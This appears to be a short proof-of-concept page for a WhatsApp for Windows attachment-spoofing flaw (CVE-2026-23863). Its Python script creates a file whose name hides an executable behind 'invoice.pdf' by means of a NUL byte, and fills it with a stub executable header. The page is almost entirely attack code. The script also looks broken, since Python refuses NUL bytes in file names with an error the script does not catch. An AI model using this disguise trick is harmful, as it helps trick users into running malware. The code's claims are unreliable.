CVE-2026-23863 WhatsApp Windows附件欺骗漏洞

import os # CVE-2026-23863 PoC Concept # Demonstrates creating a file with a NUL byte in the filename. # This exploits the discrepancy between display and execution logic. filename = "invoice.pdf\0malware.exe" content = b"MZ\x90\x00" # Dummy PE header start try: with open(filename, "wb") as f: f.write(content) print(f"Created file: {repr(filename)}") print("On vulnerable systems, this may display as invoice.pdf but execute as malware.exe") except OSError as e: print(f"OS Error: {e}")